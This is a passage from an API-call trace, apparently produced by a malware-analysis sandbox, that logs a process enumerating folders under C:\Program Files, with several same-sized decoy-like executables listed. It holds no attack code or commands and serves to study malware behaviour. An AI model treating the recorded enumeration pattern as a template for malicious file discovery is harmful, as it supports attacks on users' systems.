lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f1910, ftCreationTime.dwHighDateTime=0x1d88386, ftLastAccessTime.dwLowDateTime=0x59c80e0, ftLastAccessTime.dwHighDateTime=0x1d8a74e, ftLastWriteTime.dwLowDateTime=0x59c80e0, ftLastWriteTime.dwHighDateTime=0x1d8a74e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0058.130] GetLastError () returned 0x12 [0058.130] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0058.130] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc666d7d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc666d7d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0058.131] GetLastError () returned 0x12 [0058.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Uninstall Information\\*" (normalized: "c:\\program files\\uninstall information\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc666d7d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc666d7d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.132] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc666d7d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc666d7d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.132] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fb7b10, ftCreationTime.dwHighDateTime=0x1d8bcfb, ftLastAccessTime.dwLowDateTime=0xa476b2b0, ftLastAccessTime.dwHighDateTime=0x1d8be16, ftLastWriteTime.dwLowDateTime=0xa476b2b0, ftLastWriteTime.dwHighDateTime=0x1d8be16, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="lead possible.exe", cAlternateFileName="LEADPO~1.EXE")) returned 1 [0058.132] GetLastError () returned 0x12 [0058.132] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0058.132] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.132] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc698d4b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc698d4b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0058.132] GetLastError () returned 0x12 [0058.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\*" (normalized: "c:\\program files\\windows defender\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc698d4b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc698d4b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.132] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc698d4b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc698d4b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.132] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74b44e40, ftCreationTime.dwHighDateTime=0x1d8959c, ftLastAccessTime.dwLowDateTime=0x669dfca0, ftLastAccessTime.dwHighDateTime=0x1d8be84, ftLastWriteTime.dwLowDateTime=0x669dfca0, ftLastWriteTime.dwHighDateTime=0x1d8be84, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0058.132] GetLastError () returned 0x12 [0058.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\en-US\\*" (normalized: "c:\\program files\\windows defender\\en-us\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.134] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.134] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0058.134] GetLastError () returned 0x12 [0058.134] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.134] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.134] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c567e0, ftCreationTime.dwHighDateTime=0x1d8aeaf, ftLastAccessTime.dwLowDateTime=0x175cda10, ftLastAccessTime.dwHighDateTime=0x1d8bd64, ftLastWriteTime.dwLowDateTime=0x175cda10, ftLastWriteTime.dwHighDateTime=0x1d8bd64, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mean.exe", cAlternateFileName="")) returned 1 [0058.134] GetLastError () returned 0x12 [0058.134] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0058.135] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.136] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc6ba27f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ba27f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0058.136] GetLastError () returned 0x12 [0058.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Journal\\*" (normalized: "c:\\program files\\windows journal\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc6ba27f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ba27f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.136] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc6ba27f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ba27f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.136] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f1ea90, ftCreationTime.dwHighDateTime=0x1d85157, ftLastAccessTime.dwLowDateTime=0xaab0eb50, ftLastAccessTime.dwHighDateTime=0x1d885d1, ftLastWriteTime.dwLowDateTime=0xaab0eb50, ftLastWriteTime.dwHighDateTime=0x1d885d1, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0058.136] GetLastError () returned 0x12 [0058.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Journal\\en-US\\*" (normalized: "c:\\program files\\windows journal\\en-us\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.138] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.138] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0058.138] GetLastError () returned 0x12 [0058.138] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.138] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.138] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0058.138] GetLastError () returned 0x12 [0058.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Journal\\Templates\\*" (normalized: "c:\\program files\\windows journal\\templates\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.145] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.145] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0058.146] GetLastError () returned 0x12 [0058.146] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.147] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.147] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0058.147] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0058.147] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.148] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6b56530, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b56530, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0058.148] GetLastError () returned 0x12 [0058.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Mail\\*" (normalized: "c:\\program files\\windows mail\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6b56530, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b56530, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.148] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6b56530, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b56530, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.149] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.149] GetLastError () returned 0x12 [0058.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Mail\\en-US\\*" (normalized: "c:\\program files\\windows mail\\en-us\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.150] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.150] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0058.150] GetLastError () returned 0x12 [0058.150] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.150] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.150] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6791b70, ftCreationTime.dwHighDateTime=0x1d85490, ftLastAccessTime.dwLowDateTime=0x9a8fed60, ftLastAccessTime.dwHighDateTime=0x1d86e12, ftLastWriteTime.dwLowDateTime=0x9a8fed60, ftLastWriteTime.dwHighDateTime=0x1d86e12, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmailnotifierpro.exe", cAlternateFileName="GMAILN~1.EXE")) returned 1 [0058.150] GetLastError () returned 0x12 [0058.150] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0058.151] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.152] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6ba27f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ba27f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0058.152] GetLastError () returned 0x12 [0058.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\*" (normalized: "c:\\program files\\windows media player\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6ba27f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ba27f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.152] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6ba27f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ba27f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.152] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c901230, ftCreationTime.dwHighDateTime=0x1d8abfc, ftLastAccessTime.dwLowDateTime=0x8a88d400, ftLastAccessTime.dwHighDateTime=0x1d8bbb4, ftLastWriteTime.dwLowDateTime=0x8a88d400, ftLastWriteTime.dwHighDateTime=0x1d8bbb4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0058.152] GetLastError () returned 0x12 [0058.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\en-US\\*" (normalized: "c:\\program files\\windows media player\\en-us\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.154] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.154] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0058.155] GetLastError () returned 0x12 [0058.155] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.155] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.155] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, 